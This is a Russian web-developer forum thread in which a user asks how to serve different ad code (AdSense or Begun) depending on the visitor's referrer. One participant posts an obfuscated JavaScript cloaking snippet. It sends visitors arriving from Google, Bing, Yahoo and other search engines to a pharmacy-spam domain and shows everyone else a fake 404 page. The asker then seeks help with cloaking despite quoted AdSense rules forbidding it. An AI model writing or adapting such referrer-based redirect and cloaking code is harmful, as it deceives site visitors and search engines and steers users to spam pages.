В зависимости от referrer выводить рекламу adsene или зорьки
На сайте стоит кэширование, поэтому готовые на php скрипты толку подключать ноль.
Но как-же тогда сделать такое на JS? Если пришли с поиска Яндекса то выдавать например код Зорьки(Бегуна), а если пришли с Гугла то выдавать блок adsense, а если нет реферрера то выводить что-то другое, но тоже рекламу. |
А если пришли с отключенным JS?
используйте: $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; |
monolithed,
у меня движок на wp стоит и стоит плагин кэширования, как будет работать PHP? под каждого реферрера делать отдельный кэш? |
Цитата:
document.referer |
ребята вот например есть код
<script> function R(){ var Ref=document.referrer; if (Ref.indexOf('.google.')!=-1 || Ref.indexOf('.bing.')!=-1 || Ref.indexOf('.yahoo.')!=-1 || Ref.indexOf('.aol.')!=-1 || Ref.indexOf('.ask.')!=-1 || Ref.indexOf('.altavista.')!=-1 || Ref.indexOf('.bing.')!=-1 ) { document.write('<script language="javascript">docu'+'ment.location="http://ССЫЛКАНАШОПОТdrugrevenue.com"</s'+'cript>')} else { document.write('<h1>404 Not Found</h1>'); } } R(); </script> как его переделать под мои нужды? |
Цитата:
wlad2, indexOf() - не кроссбраузерный метод write() перед использованием этого метода 100 раз подумаете и все проверьте)) Цитата:
|
Цитата:
|
Цитата:
"ЗАПРЕЩАЕТСЯ": (b) каким-либо образом редактировать, фильтровать, урезать или изменять порядок информации, содержащейся в любом Объявлении, Ссылке, Рекламном блоке, Результате поиска, или Кнопке реферала, или удалять, делать неясным или сокращать любое Объявление, Ссылку, Рекламный блок, Результат поиска или Кнопку реферала без разрешения от компании Google; (c) устанавливать рамки, сокращать, удалять, или иным образом ограничивать полный показ любой веб-страницы, к которой получает доступ конечный пользователь после нажатия на любую часть объявления ("Страница Рекламодателя)", любой Страницы результатов поиска, или любой Страницы реферала; (d) переадресовать конечного пользователя с любой Страницы Рекламодателя, Страницы результатов поиска, или Страницы реферала; предоставлять версию Страницы Рекламодателя, Страницы результатов поиска, или Страницы реферала, которая отличается от страницы, к которой конечный пользователь получил бы доступ, при переходе непосредственно на Страницу Рекламодателя, Страницу результатов поиска, или Страницу реферала; распределять любое содержание между Объявлением и Страницей Рекламодателя, между страницей, содержащей Окно поиска, и Страницей результатов поиска, или между Кнопкой реферала и Страницей реферала; или иным образом предоставлять что-либо кроме прямой ссылки между Объявлением и Страницей Рекламодателя, страницей, содержащей Окно поиска, и Страницей результатов поиска, или Кнопкой реферала и Страницей реферала; (e) демонстрировать любое Объявление(я), Ссылку(и), или Кнопку(и) реферала на любой веб-странице или любом веб-сайте, содержание которого связано с порнографией, ненавистью, жестокостью или является незаконным; |
Цитата:
|
|
alert( typeof document.referrer ); p.s. просто решил уточнить... |
monolithed,
дружище, если не-трудно помоги состряпать такой код как мне нужно, а на то что это клоакинг - будут последствия я решу эту проблему. |
примерно:
window.onload = function() { var element = document.getElementsByTagName('head')[0]; switch(/\/{2}(\d*\w*)/.exec(document.referrer)[1]) { case 'google' : element.innerHTML += '<script src=\"google.com\" type=\"text\/javascript\"><\/script>'; break; case 'yandex' : element.innerHTML += '<script src=\"yandex.com\" type=\"text\/javascript\"><\/script>'; break; default : element.innerHTML += '<script src=\"google.com\" type=\"text\/javascript\"><\/script>'; break; } }; |
Часовой пояс GMT +3, время: 14:08. |